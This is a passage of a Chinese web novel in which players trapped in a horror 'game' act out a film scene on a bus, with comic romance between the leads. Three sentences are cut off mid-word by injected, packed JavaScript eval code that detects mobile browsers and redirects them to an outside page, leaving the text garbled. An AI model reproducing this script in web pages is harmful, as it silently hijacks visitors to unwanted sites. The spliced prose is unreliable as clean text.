剩下的演员里,一个是剧本里的第二位摄影师,张子坤;另一个是与云初夏和叶莜竹同班同学的田文俊,且对叶莜竹有好感。 那么剩下的第一排右侧的男人的身份也能推出来了。 如果他是田文俊,不可能离叶莜竹坐那么远,除非他完全没找到谁是叶莜竹——但那不可能。去掉两个有剧组身份牌的女生后,再去掉身边明显坐着男人的自己,叶莜竹的身份就很好猜,只用第三排的两个女生里二选一。 所以第一排的男人是摄影师张子坤。 那么,田文俊去哪了? 纪然看了眼手机时间,离开拍还有一分钟。这个点还没进车里,让她想起一个可能,就是在化妆间里说要报警的那位男新人。 他当时的行为可能触发了角色OOC。 现在还不见人影,难道是被系统抹杀了? 这时候,程导迈步走上大巴,站在车厢的最前方,清了清嗓子,沉声说:“在已经十点整,各位都准备好了吗?” 没有等待众人的回答,程导连接好对讲机,紧接着布置任务:“OK,我们先进行一次试拍。按照剧情,我们将从第一天的第一幕开始。等下车子启动,先开出去进到林子里,然后掉头,我们从那一段进小镇的部分开始拍。” 59. 第一天:第一幕1 他的目光扫过每一个人,确保每个人都听明白了指示:“扮演摄影师的两位,请架设好你们的摄影机,只需对准人群拍摄。扮演导演和道具师的两位暂时保持静止。其他人按照剧本上写的内容,自由发挥一下。” “车里除了我们的摄影师外,还有微型摄像头,确保360°无死角拍摄。只要你们好好演,我们就能一次过。现在,我们先来试一遍看看效果。”程导一边说,一边往倒数第二排座位走去。 声音逐渐提高,最后以一声清晰的指令结束了准备:“所有人准备——” “Action!” 随着程导的一声令下,拍摄正式开始。 而纪然的眼前,跳出一个熟悉的气泡框。 「解锁人设2:绿茶柔弱小作精(请勿OOC)」 纪然:“……” 深吸一口气,纪然闭上眼睛,她将自己想象成云初夏本人,努力代入那种状态—— 随着一场突如其来的暴雨,空气中弥漫的热浪被洗涤一空。窗外的天际被厚重的乌云所笼罩,深沉厚重的云浪翻滚,大雨如注,砸在地面上发出连续不断地噼啪声。 云初夏(纪然饰)在心里感叹着,幸好在前两天已经答辩完了,否则这么大的雨,做什么事都很麻烦。 云初夏和室友们早已计划好毕业旅行,结果计划赶不上变化,其中一个室友在答辩后生病进了医院。她们三人在看望过这个室友,不得不接受了旅游同伴缺席一人的事实。 室友之一唐晨歌(叶柯饰)是个很有活力的可爱女孩,提议着要不带上云初夏她的那个粘人精男朋友,省得等她旅游一圈回来他人都自闭了。 云初夏觉得唐晨歌说的有道理,在两名室友的支持下,联系了了已经交往快半年的男朋友许灼(楚昭饰)。 许灼是个社恐人士,与她们在同一所综合性学校里就读研二。听到女朋友邀请他一起去旅游,既兴奋又羞涩。但一听到一群女孩子里就他一个男人时,尴尬得脚趾扣地。询问过她们的意见后,喊来了自己的朋友孟贺(肖羽饰)。 作为许灼的多年好友,孟贺二话不说就答应了,还帮着一起选地址,查看攻略。最后在云初夏的拍案下,他们选定了一个偏远的小镇为旅游目的地。 这个小镇以其独特的风景和特产而闻名,但由于地理位置偏僻,旅游业并不繁荣,每年访客寥寥无几。 不过对他们年轻人来说,这样的环境反而成为了一种优势,起码在大夏天里不用经历人挤人的场景。加上偏僻的地方代表着物价低,他们一群学生党攒下来的钱能在这个地方生活得很不错。 考虑到前往偏僻地区可能存在安全风险,他们决定扩大旅行团队,又各自喊着同伴,拉了好几个人,凑成了八人的旅游队伍。 尤其是叶莜竹(谢沫沫饰),一个人喊来俩。她从大一开始暗恋学长段华(宋承饰)。段华与云初夏是小时候的邻居,有这个关系在,她以室友的身份早早要到了他的联系方式。 在他们说继续摇人一起旅游时,叶莜竹就给段华发了消息,邀请他加入。而段华听说云初夏也会同行后,便欣然同意。 为了避免显得过于刻意,叶莜竹还喊了同学田文俊(左毅饰)。班上男同学很少,目前还留在本地的只有这一个男同学,一叫就来了。 与此同时,孟贺也拉来了他的邻居兼学弟,正在读大三的白林(乔云深饰演)。 就这样,八个同校的年轻人,怀揣着兴奋与新奇,就这样踏上了旅行的路程。 故事就此展开。 几个镜头对准了大巴车里的众人,纪然回忆着剧本里关于剧中剧里他们的一些背景介绍,由于云初夏的剧本视角有限,她只能知道这么多信息。 「场景一(片段):大巴车里」 「△十二名演员登上大巴车,在导演秦文心的示意下,扮演摄影师的陈欣和张子坤把镜头对准众人,其余演员按角色关系选择座位。」 「唐晨歌:(兴奋,拿手机拍照)看这景色,感觉我们快到了!我好激动啊!」 「叶莜竹:(有些烦躁)再不到,我觉得我要在这车里憋死了。」 「田文俊:(安慰叶莜竹)其实在车上的旅程也是一种独特的体验。沿途的美景,山川河流,绿草红花。路过时转瞬间的一眼,都是生命中不可多得的、像烟花绽放时一刹那的美。」 「叶莜竹:(无语,对唐晨歌耳语)我真不明白他,每次说话都像是在另一个世界。你说东,他答西。」 「△唐晨歌听到后,忍不住嘻嘻笑了起来,两人随即打闹成一团。」 「△云初夏因晕车而睡着,被吵醒后好几次都想吐。许灼剥开橘子,担忧地看着云初夏,时不时喂她吃橘子,给她扇风。」 「云初夏:(靠在许灼肩上,声音微弱)晕车真的好难受。」 「许灼:(搂着她安慰)再坚持一会儿,我们很快就到目的地了。」 「△段华静静地观察着他们之间的互动,心中涌起一股酸涩,一路上沉默不语。」 「△云初夏继续依偎在许灼的怀里,显得十分难受,许灼则轻声地安抚着她。」 「△摄影师陈欣发现拍摄车窗外的镜头里出现了不一样的东西,揉了揉眼睛,重新调整镜头,见屏幕上显示有一只鸟飞快撞向车窗,被吓了一跳。」 「陈欣:(连忙看向车窗,自言自语)怎么没有?」 「△车窗上只有雨滴留下的陈旧痕迹。陈欣再次看向显示屏,那只鸟已经撞在了玻璃上,留下一大片惨烈的血迹。而她看向车窗时,什么痕迹都没有。」 「陈欣:(拿出水喝几口,低声嘀咕)肯定是我太累了,眼睛都出现幻觉了。」 「△摄影师张子坤开启镜头后,在漫长的车程里打起了瞌睡,突然听到耳边有人在喊自己的名字,他猛地睁开眼,却发现周围并没有人在叫他,心里有些害怕。」 「张子坤:(压低声音问陈欣,等她转过头)刚才是你在叫我吗?」 「陈欣:(莫名其妙)我没事叫你干嘛?」 「△张子坤以为是自己做梦记混了,又继续打瞌睡,直到他再次听到有人在喊他,惊醒后不敢再睡,疑神疑鬼地环顾四周。」 「张子坤:(查看摄影机,没发现异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179144|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常,自言自语)难道真的是我在做梦?」 大巴车缓缓发动,沿着蜿蜒的小径徐徐前行,经过一片荒芜的空地后,再直行一段距离,便驶入了一片广袤的林地。 这片林地虽坐落于宏伟的影视城之中,却占地辽阔。为了满足影视拍摄的需要,这里的自然环境几乎未受人为干扰,保持着一种原生态环境。 车辆在郁郁葱葱的树木间穿行,深入林间腹地,随后调转车头,再次朝着出发的方向返回。 透过车窗,纪然后靠在椅背上看着外边的景色。高大的树木挡住了她这边的阳光,她眼睛放空,思索着这次副本的危险会是什么。 “要睡一会儿吗?”楚昭很快入戏,低声询问道。 在剧本中,许灼被塑造成一个内心丰富、性格内敛的角色,他对女朋友云初夏的关怀无微不至。 大巴车里的这段并没有详细描写他们之间的互动,理应来说他们可以摸鱼等到对应戏份开始时再动。但在不确定镜头是专注于个人还是集体画面的情况时,他们就不可能仅仅局限于剧本上的简单指示来演。 任务要求的新人设已经出现,很明显就是要扮演好电影里的角色。如果在剧情的空白期不进行符合角色设定的行为,仅仅呆坐不动,那么角色的表现将显得生硬,很不自然。 云初夏是个容易晕车的人,而纪然也有轻微的晕车倾向,这为她提供了一个自然的表演契机。 听到旁边人的问话后,纪然略微思索后,顺势靠在楚昭肩上。察觉到他身体瞬间僵硬起来,她想了想,不动声色地把自己的背包塞他怀里,仿佛这是再自然不过的一个举动。 接着,纪然调整了自己的姿势,半搂着他逐渐放松肌肉的手臂,缓缓闭上双眼。 晕车这个行为倒是能让她不用费什么心思地去演,正好借此机会稍作歇息。不过,说是能休息,实际上她并不能真正放松。 面对着未知且潜在危险的副本环境,尤其是还处于镜头的拍摄下,纪然顶多能闭目养神,而非沉睡。 闭上眼后,五感里失去了视觉,其他感官变得更加敏感,如同被唤醒的猎豹,敏锐而警觉。 纪然能清晰地感知到头顶上方传来的均匀呼吸,周围的低语和谈笑声,以及轮胎在泥土与沙石交织的路面上滚动的声音。 无论是剧本里的电影,还是他们所在的这个副本,全都是夏季。 这种天气里,两人皆是穿着轻薄的短袖。在触感也被无限放大后,她与楚昭之间的皮肤接触变得尤为显著。她能清楚的感受到他的体温,还有他手腕处的脉搏跳动。 不自觉地动了动手指,轻微地触碰下,或许是滑过他手臂时让他感觉到痒,纪然的手被他突然抓住,耳边传来他的低语:“快睡吧。” 纪然的眼睑轻轻颤动,脑海中突然闪过人设2的描述——绿茶柔弱小作精。现在处于晕车状态,柔弱是占了,但“虚弱”状态下应该茶不起来吧,那就剩下个“作”字还没演出来。 思绪流转间,她回忆着电视剧里的表演,矫揉做作地说:“人家要你哄着睡。” 楚昭呼吸一滞,好几秒没说话。 60. 第一天:第一幕2 等了几秒,纪然眨巴着眼睛,他怎么还没反应啊? 刚准备抬起头探个究竟,就有一只手覆盖在她的眼睛上,随即而来的是一道冷硬的声音:“快睡。” 语气很轻,且仅有两个字,纪然却能听出话里的僵硬感。尤其是她的头靠着的他的肩膀处,很明显能感受到原本放松的肌肉又绷紧了。 楚昭有那么一瞬间几乎要演不下去了。强行遮住她的眼睛说出这么一句话后,他就意识到自己行为的失态。他顿了两秒,他停顿了两秒,像是下了极大的决心,咬牙切齿地补充了两个字:“宝贝。” 纪然:? 怎么感觉语气不太对,有点怪,再听听。 橘子的味道从眼前遮挡的手上传来,清新而不腻,宛如夏日的微风,轻轻拂过她的鼻尖。呼吸间满是这种味道,纪然不自觉地动了动眼皮,睫毛被蹭到后有点痒,她忍不住多眨了几下眼睛。 那只手颤抖了一下,猛地缩了回去。 纪然还没反应过来,肩膀就被人强行揽住,整个人被他往怀里一带,她的头就撞到了楚昭的锁骨。 “快睡吧。”声音在头顶响起。 这别扭的姿势,特别是头骨还硌在锁骨上,让人不太舒服。纪然想调整一下角度,刚动两下头,他又说:“不要动。” 这不是动不动的问题,是硌人的问题。纪然才抬起脖子,一只手伸过来把她头按回了原位。 “……”就,离谱。 不是,他不觉得硌吗? 纪然扒拉他的手,试图解放脑袋,刚扒拉了几下,自己的手就被束缚住了。 于是她趁机调整姿势,避开硌人的锁骨处。哪知道,一只手从左边伸过来,把她头又摁回去了。 “……你硌到我了。”不想因为挣扎动静过大而引起镜头里的OOC,纪然闷声闷气地说出来。 “不硌。”楚昭只想让她安静点,压根就没在意这些细节。 “……”双手被禁锢住,又听到这话,于是无语的纪然,扭头就一口咬在他锁骨上。 楚昭:! 咬的不重,轻薄的衣服还隔绝了一部分咬力,一股难以言喻的感觉如同细密的电流,从他右侧锁骨的位置开始蔓延,穿过他的肌肉与骨骼,迅速扩散至全身的每一个角落,直至四肢末端。 传到楚昭大脑里时,头皮不禁一阵发紧,仿佛有无数细小的针尖在轻轻刺戳。他倏地皱眉眯起眼,呼吸乱了几分,手上不由自主地使了点劲。 纪然在楚昭加大的力度下感到了一丝痛意,她不再被动承受,而是迅速反击。手腕灵活一扭,摆脱了他的禁锢,然后把按着自己脑袋的手扒拉开,带着两分气恼地抬头看着他。 念及人设问题,纪然抿了抿嘴,打算开口说些什么。 瞧见她像是要说话的样子,楚昭不假思索地从背包里取出一颗糖果。手指灵活地剥去糖衣,准确无误地在她刚张开嘴时把糖果塞进去,一番动作行云流水几乎带出残影。 楚昭能有什么错呢,他只想阻止纪然继续说话,别再蹦出什么令人尴尬又窒息的话了。 所以,纪然的话还未说出口,嘴里突然多出来一颗带着薄荷气息的甜味小圆球。 她措手不及,下意识地舔了下糖果,舌尖却不小心触碰到了楚昭还未来得及收回的手指。 这个意外让楚昭的手指瞬间僵住,悬停在半空中,原本要说出口的“这是薄荷糖,快睡吧”也被突如其来的触感打断,卡在了喉咙里,怎么也无法说出口。 时间似乎在这一刻停滞,周围的一切都变得模糊不清,两人之间的气氛顿时变得尴尬而又暧昧,楚昭的眉眼间闪过一瞬罕见的不知所措。 两人不约而同都陷入了沉默,片刻后,楚昭装作无事发生般收回手。纪然也老老实实地坐直了身体,看着窗外,吃着嘴里的糖,默不作声。 清凉的味道从舌尖蔓延开来,带来一丝清醒和平静。树木在视线中倒退,盎然的葱绿色点缀在枝丫上,窗外的景色在车子移动中变得模糊起来。 两人表面上岁月静好,背地里,楚昭拿起水喝了几口,压下心底翻涌的情绪。纪然咬碎了糖果,浓郁的薄荷味瞬间充斥满整个口腔,顺着呼吸道滑进肺腑,感觉自己冷静了很多。 之前导演有提到车子里还有隐藏的摄像头,纪然砸吧砸吧碎裂的糖,觉得自己还可以努力演演,让她的角色合理化。 随着车轮滚滚向前,大巴车缓缓驶出了那片郁郁葱葱的林地。视野豁然开朗,一片荒芜之地映入眼帘,而远处就是她们刚刚离开的影视城小镇——大巴车已经在掉头往回开了。 一直没有听到导演喊“Cut”,是不是代表大家演得都算勉强过关了? 大巴车一直在行驶,离剧本里的小镇越来越近。前排的叶柯用激动的声音念出台词,元气十足的语气完美演出了唐晨歌的活泼灵动感。 “看这景色,感觉我们快到了!我好激动啊!” 旁边扮演叶莜竹的女生也没掉链子,用一种略带烦躁的语调接上了戏:“再不到,我觉得我要在这车里憋死了。” 然而,扮演田文俊的玩家不知所踪,车里骤然安静下来——没有人接下一句台词。 这一段要跳过吗?还是说换一个人来念? 没人回答这个问题,导演和其他剧组人员坐在后两排的座位上,一言不发。 在整个场面陷入一片诡异的静默时,大巴车突然停下了。 “哐咔——” 车内的气氛瞬间凝结成冰,车门在司机的操控下被打开。剧本之外的突发情况令所有人都绷紧了脑子里的弦,靠窗边的纪然直接贴着车窗往外看去。 因视野受限,车门附近的位置看不到多少,但透过玻璃她能看到的画面中,只是一片空荡荡的景象,没有任何人的影子。 随着沉重而又拖沓的脚步声从车门口传来,每个人的心跳似乎都跟着这个节奏加速。那脚步声一步步地向车内深入,每一步都像是踩在了大家的心尖上,让人不由自主地屏住了呼吸。 纪然凝神静听,上车的人并没有走近她这一排,而是在她前面一排的左侧位置停了下来。接着是座椅被压下的吱嘎声,以及随身物品被放置在座位旁的细微响动。 嗯?这个位置——第四排左侧靠窗的座位,离叶莜竹第二近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179145|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方——上车的是迟迟不见人影的田文俊饰演者? 车门关闭后,大巴车重新启动,继续在这片荒凉的土地上颠簸前行。除了车身的引擎声以及轮胎滚过路面的声音外,车里安静极了。 “其实在车上的旅程也是一种独特的体验……”陌生的男声突然响起。 纪然眉心微皱,心头疑惑:这个人是怎么知道剧本的进度,已经到“他”要念台词的这一部分了?之前那么久的时间里,“他”去哪了?为什么会一个人出现在这偏僻的荒地上? 所有人对这状况都一头雾水,纪然偏头瞅了一眼旁边的人,只见他低垂着眼睛,似乎沉浸在自己的思绪之中。 其他人还在矜矜业业扮演着剧本里的角色,听着四周时不时传来的对话声,知道剧情仍在稳步推进,纪然的心思也随之转动。 似乎目前并没有出现任何危险的迹象?唯一令人感到不寻常的,就是那个疑似田文俊的扮演者直到现在才加入进来。 算算情节发展,差不多要来到许灼给云初夏喂橘子的那一段。念头一闪而过,纪然的注意力完全被即将到来的这一幕所占据,其他事情都暂时被抛诸脑后。 纪然忍不住在心里打退堂鼓。 那些橘子这么酸,她真的要吃啊? 不行,她得想个法子避开这段。 心思在电光火石之间转了几圈,最终还是落在了身边的楚昭身上。他看起来很能吃橘子,应该可能一定不介意吧?这种想法好像有点不道德,但…… 纪然眼睁睁地看着,他瞥了她一眼后,好像想起该走剧情了,手直接往她放在他怀中的包里伸去,摸出一个橘子。三两下剥开橘子皮,把掰开的一瓣橘瓣喂到她嘴边。 纪然:! 事已至此,纪然也不再纠结了,就决定是他了! 眼神里带着不情愿,但她还是轻轻咬住橘瓣。含在嘴里,口齿不清地说:“很甜,谢谢亲爱的,我也要喂你吃。” 楚昭:? 剧本里有这段? 不是,等等—— 手里剩下的橘子被人夺走,下一秒,橘瓣就直接贴在他唇上。 楚昭的嘴唇紧紧闭合,尽管他的脸上保持着角色的温柔表情,但眼神中透露出的抗拒却是显而易见的。 纪然没有放弃,强行把橘瓣往他嘴里塞,被挤压溢出来的橙色汁水染上了他的唇,沿着唇线缓缓滑落。她迅速伸手,用纸巾接住了滴落的果汁,白色的纸面上顿时晕开了一小片橙色的痕迹。 “亲爱的,你怎么不吃呢?是想人家用嘴喂你吗?”纪然故意这么说道。 果不其然,话音刚落,“许灼”乖乖张开嘴,吃下了她喂过去的橘子。 唇上的汁水顺着唇缝流进去,肉眼可见的,他的表情僵硬了几分。 纪然装作看不到,又掰下一瓣喂过去。见他再次抿着唇不配合,便有意无意地倾斜身子,向他靠近。 楚昭只好再次吃下了嘴边的橘子,同时将头部向后仰,试图与纪然保持一定的距离。目光不由自主地落在纪然手中剩余的橘子上,还有七瓣。 人有时候,吃个橘子也挺无助的。 61. 第一天:第一幕3 眼见她继续掰下一瓣,楚昭忍不住出手阻拦她:“你晕车,吃点橘子会好些。”他的意思很明显,这些橘子给“云初夏”准备的。 “吃下一块后,人家感觉好多了,亲爱的,你就多吃点吧。”纪然在刚刚就以纸巾擦拭嘴唇的动作,将口中的橘子偷偷吐了出来。剩下的她一个都不想吃。 所以,抱歉了,可怜的男朋友。 就这样,纪然一个瓣又一瓣地喂完了手里的橘子,“喂橘计划”圆满完成,达成了受害者只有楚昭一人的成就。 楚昭无力地靠在座椅上,闭着眼睛,手抵在自己的唇上,心如死灰。 这个低级副本,难度好像也不低。 随着车辆行驶在逐渐平坦的道路上,纪然透过车窗望去,小镇的轮廓已经隐约可见,他们距离目的地已经不远了。 剧本上的情节被纪然改变,游戏没有跳出警告,导演也没有喊停,所以吃橘子这段也过了吧? 从这个情况来看,只要改动不违背角色的设定,一些细节上的调整并不会导致剧情的崩坏或角色的OOC。 纪然轻轻戳了戳楚昭,在他猛地缩回手臂的动静中,奇怪地看了他一眼,这么大动静,不怕OOC吗? 脑海里的想法一晃而过时,这个男人为自己不符合人设的举动“打补丁”—— 他露出一抹微笑,仿佛在补救一般,温柔而沉重地握住她的手,语气中带着勉强:“怎么了,宝贝?” 纪然点评:好虚伪的男的。 别以为喊宝贝她就没听出来最后两个是咬着牙说的! 纪然在心里翻了个白眼,巧妙地挣脱开手后,摸向他怀里的背包,从里面找出一把小扇子递过去。 这个队友是不是忘了剧本里还有给她扇风这一段了? “是不是有点热?”楚昭稳住心神,想起确实还差一段没表演出来,一边自然地问了一句,一边接过扇子展开,对着自己和纪然扇动起来。 太阳逐渐攀升至天顶,正午的热浪无情地侵袭着大地,从开着的车窗里不断涌进来。这辆大巴并没有开空调,而是全靠行驶时的自然风来驱散暑气。 随着楚昭的动作,折扇挥动间,一股清凉的风拂面而来,纪然不由自主地往他那边靠近了些。虽然不清楚他是怎么弄出来的凉风,不过能缓解热意就好。 他们两在车里的戏份还有最后一段。纪然把注意力集中在晕车上,扩大自己的感知,只感觉脑袋发沉,胃部有些翻滚,无需刻意表演就表现出晕车的不适状态。 “晕车真的好难受啊。”纪然念着台词,顺势靠在旁边人的肩上。也许是有心理准备,他这次很配合,换了个姿势把手掌虚搭在她肩上,做出搂着的姿势。 “再坚持一会儿,我们很快就到目的地了。”楚昭接住台词,看了眼车窗外。大巴车至少行驶了半小时,一路上除了荒地就是丛林,这种场景在影视城里确实少见。 纪然听他说完这一句,后面就没动静了。这可不行,他不说话,这要怎么表现出她难受而他安慰的一幕呢? 幽幽叹气,还得靠她自己加戏。于是,纪然捂住头,夹着嗓子压低装作越来越虚弱的模样,说:“头好痛,感觉再闻到车里的味道,我就要窒息啦。” 听着不自然的夹子音,楚昭沉默不语,让她演戏可真的是难为她了。 他从包里再次摸出个橘子,微笑道:“再吃点橘子?” 喔,这人怎么那么坏?纪然在心里指指点点。 “唔,吃不下了,我闻闻味就好。”她夺过橘子,顺带把装着不少橘子的背包从他怀里拿走,放到了自己的右手边,确保他无法越过自己拿到。 她不是败给了演技,而是败给了小小的橘子,应该不算丢人吧。 楚昭的嘴角又上扬了几个像素点,瞥了眼背包,看还有什么能用的东西,随即取出来一瓶水,问:“那喝点水?” “亲爱的,你要喂我喝吗?”纪然面对橘子唯唯诺诺,面对“男朋友”又嚣张起来了。 拧开瓶盖后的楚昭又沉默了,脑子里突然想到她之前说的话。他眼神闪了闪,犹豫了两秒还是选择了说出来。楚昭故意道:“要我用嘴喂你吗?” 纪然:“……” 不行了,她要yue了,这男的好恶心。 纪然瞬间安静如鸡,接过水喝了一口,安详地闭上了眼,继续装睡。 属于他们两的这一部分剧情应该走完了,剩下的是其他人的戏份,比如两个摄影师遇到的“灵异事件”。 坐在左侧座位上的宋承,一开始还会悄悄观察右边两人的互动,确保在这场假扮情侣的戏码中,纪然没有遭到任何不适当的接触,不然怎么着他也得想办法阻止这个男人的动作。 借着剧本里清楚写着要暗中观察云初夏和许灼,但他观察了半天,情况似乎有些不太对劲——怎么看都像是纪然在吃人家豆腐。 宋承撇开脸,默默放空了大脑。算了,自家队友没受到伤害就好,一切都是戏剧表演的一部分,都是必要接触。 剧情来到摄影师这里,坐在最后一排的陈欣的饰演者夏黎,在上车后对着前面驾好了摄影机,时不时摆动两下看上一眼。 虽然清楚等会儿需要在情节中表现出目睹恐怖场景的惊恐一面,但以她参与过的几次副本来说,很少有虚拟世界的副本会完全没有危险。而这个副本从进来开始已经两个多小时,还没有发现可能的危险点,令她不得不警惕起来。 剧本里显示她会通过镜头看到鸟撞窗户的场景。在影视里,这种涉及到动物安全和伦理问题,一般是由特效合成出来的视觉效果。在副本里,她有些怀疑会真的出现灵异一幕,所以直接关上了自己这边的车窗。 在临近剧情点时,夏黎的目光如同被磁铁吸引,紧紧锁定在屏幕之上。即便她做好了心理准备,却还是被突发状况吓了一跳。 原本按照剧本要求,她将镜头缓缓转向车窗之外,捕捉着沿途的景色——虽然她觉得这个荒地上并没有什么好拍的,缺乏足以吸引观众目光的元素。 镜头所及之处,路面由硬泥土与粗沙构成,车轮滚过去骨碌碌的。远方的地平线上,隐约可见一片茂密的丛林轮廓。 强烈的阳光无情地穿透车窗,投射在车厢内,带来一股股炽热的气息,仿佛连空气都在这烈日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179146|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的烘烤下变得焦躁不安。 夏黎多少懂一些摄影,在她调整镜头参数时,天色骤然阴沉下来,原本明亮的色彩被一层厚重的灰色所覆盖。屏幕中的世界也随之失去了光泽,变得黯淡无光,像是被蒙上了一层薄雾,一切都笼罩在了朦胧之中。 紧接着,本该正常拍摄的摄影机镜头中一道影子猛然闪过,夏黎为之一震。还没等看到具体是什么东西,下一刻,一只看不出种类的鸟在镜头里出现。 来了,就是这段剧情。 夏黎转过头,目光透过车窗的光滑透明玻璃,外面是一片宁静,阳光依旧明媚,没有一丝异常的痕迹。 原本准备念出的台词,在这一刻突然被真实的惊讶所取代,夏黎情不自禁地低声喃喃:“怎么没有?” 夏黎的目光迅速转向摄影机,显示屏上的画面与现实截然不同。屏幕上,天色阴沉无比,乌云密布,气氛显得极其压抑。 突然,那只鸟的身影再次出现,它以惊人的速度向车窗猛冲过来,然后猛烈撞击在玻璃上。撞击的瞬间,血雾四溅,玻璃上顿时绽放出一片触目惊心的血红色。 那“嘭”的一声巨响,让她不寒而栗。 夏黎整个人被吓得弹起来。在这恐怖的视觉冲击下,再多的心理准备也不如这一下来得震撼。 剧本里的情节已经被抛诸脑后,她猛地将目光从显示屏上撤回,转头看向车窗。透明玻璃上,没有血迹,没有撞击的痕迹,只有窗外的景色依旧平静,阳光透过玻璃洒在车内,一切看起来都那么正常。 夏黎的瞳孔急剧收缩,鼻翼随之扩张,心跳如鼓点般急促而有力。她面色苍白,急切地扭头观察车内其他人的反应,却只捕捉到了左侧座位上陌生男人投来的询问眼神。 她站立着,环顾四周,发现车厢内的其他人依旧沉浸在各自的角色中,仿佛没有丝毫被影响到。甚至包括她身后的导演和剧组中的真正摄影师,也都安静地坐着。见她突然站起来,还奇怪地看了她一眼,打手势让她坐下来继续演。 当再次看到摄影机时,夏黎陡然才想起来自己的剧本,她扮演的陈欣是个神经大条的人,不应该会做出这种举动。 「警告:玩家OOC一次,增加25%仇恨值」 眼前闪过这么一句系统提示,她紧抿着嘴唇,默默坐回了自己的位子。虽然她现在还不完全明白这个仇恨值的具体作用,但直觉告诉她,这绝非什么好事。 如果按照游戏中的副本机制来理解,她可能已经无意中吸引了潜在威胁——比如副本怪物之类的存在的注意,成为了众矢之的。在接下来的剧情中,一旦危险降临,她将首当其冲遭受攻击。 方才站起来看到的场景,让她意识到,镜头里那令人心悸的一幕,只有她一个人看到。最让她感到毛骨悚然的是,好像只有她一个人听到了小鸟砸到车窗上的声音! 这种孤立无援的感觉,让她的心中涌起了一股难以言说的恐惧。夏黎的面色更加苍白,她的心跳在胸腔中狂跳。 夏黎的手紧紧按住胸口,试图平复自己狂跳的心脏。她告诉自己,不能继续沉浸在恐惧之中,不然又要OOC了。 62. 第一天:第一幕4 剧本里还有最后一段需要她演出来的——喝下水,再轻声念出最后一句台词。 夏黎面色苍白,嘴唇哆嗦着,想说什么又不敢说。伸手取出背包里剧组提前准备好的水,没有犹豫,便是一阵急促的吞咽声,“吨吨吨”地连续灌下几大口。不少没来得及吞咽的水沿着下巴滑落,打湿了衣襟。 清凉的水驱散了心里的焦灼和惧意,她缓了口气,才继续低声念出台词:“肯定是我太累了,眼睛都出现幻觉了。” 陈欣这个角色,在她拿到的剧本里塑造的形象是个大大咧咧的人。面对那些细枝末节的奇怪画面,她通常只会一笑置之,认为自己不过是一时眼花,从未真正被吓到过。 而她拿到的人设2是:神经大条沙雕女。 如果不采取一些补救措施,以她现在这种苍白的脸色,很难不引起别人的怀疑。 所以,夏黎在心里给自己打气:没出息没关系,还有气息就很棒了。 思考了一圈有什么能缓解紧张的,她开始哼洗脑神曲:“叠个千纸鹤,再系个红飘带……” 唱着唱着,在自己每秒的嗓音下,心情确实平复了不少。 左侧位置上有人频频转头看过来,夏黎注意到了,回望过去,刻意咧嘴一笑:“不好意思,有点想男人了。” 听到突如其来歌声而扭过头的李新咏:? 他瞳孔地震,什么虎狼之词? 夏黎舔了舔唇:“做茶老师傅、喷火小王子、表亲二人档,每个人都是令我是如此的心跳加速,难以自持。” 李新咏:? “还有点想女人了。”夏黎把自己念饿了。 “魔都阿姨、林城辣妹子、虞美人,都是我生命里不可缺少的存在,”夏黎越想越馋,咽了咽口水,“道具师,你那里有什么吃的吗?” 这个同样挂着身份牌却没有摄像机的人,肯定是剧本里的道具师陈南寻没错了。 李新咏沉默不语,为了维持温柔型的人设,还是微微笑了笑,翻出一包饼干递过去。 夏黎接过饼干,迫不及待地撕开包装,开始嚼嚼嚼。 这应该不OOC了吧,沙雕的解释不就是指那些既离谱又让人发笑的行为吗,她这一番操作应该是完美诠释了这个词吧? 以接下来的情节发展,是另一个摄影师的戏份了。自己除了增加一部分仇恨值外,并没有碰到直接性的危险,副本第一天确实会简单很多。 现在,所有的焦点和压力都转移到了摄影师张子坤这边。 陈长风矜矜业业扮演着张子坤这个人,自打一上车,驾好摄影机后就开始了不自觉的打盹。没办法,他晕车,还是那种一坐车就想睡觉的晕,倒是意外符合了角色行为。 随着大巴车缓缓行驶在后半程的路上,陈长风的头不自觉地歪靠在座椅上,睡得天昏地暗的。 反正在这场大巴车里,他也没其他什么其他戏份,等到要表演“灵异”场景时,应该会有工作人员叫醒他吧。 这种睡梦中听到有人喊自己名字的情节,一般都是后期制作时加上去的配音效果。第一天的副本确实没有太多的危险,也鲜少有机会真正遇到那些超自然的存在。因此,他可以毫无顾虑地沉浸在梦乡之中。 白雾缭绕在眼前,脚下踩着湿软的泥土,空气里弥漫着浓烈的腥味。 男人踏着沉重的步伐,一步一个脚印,缓缓前行。 四周的一切都被厚重的雾气所包围,视野之内尽是模糊不清的白色,仿佛整个世界都被这层神秘的面纱所掩盖。 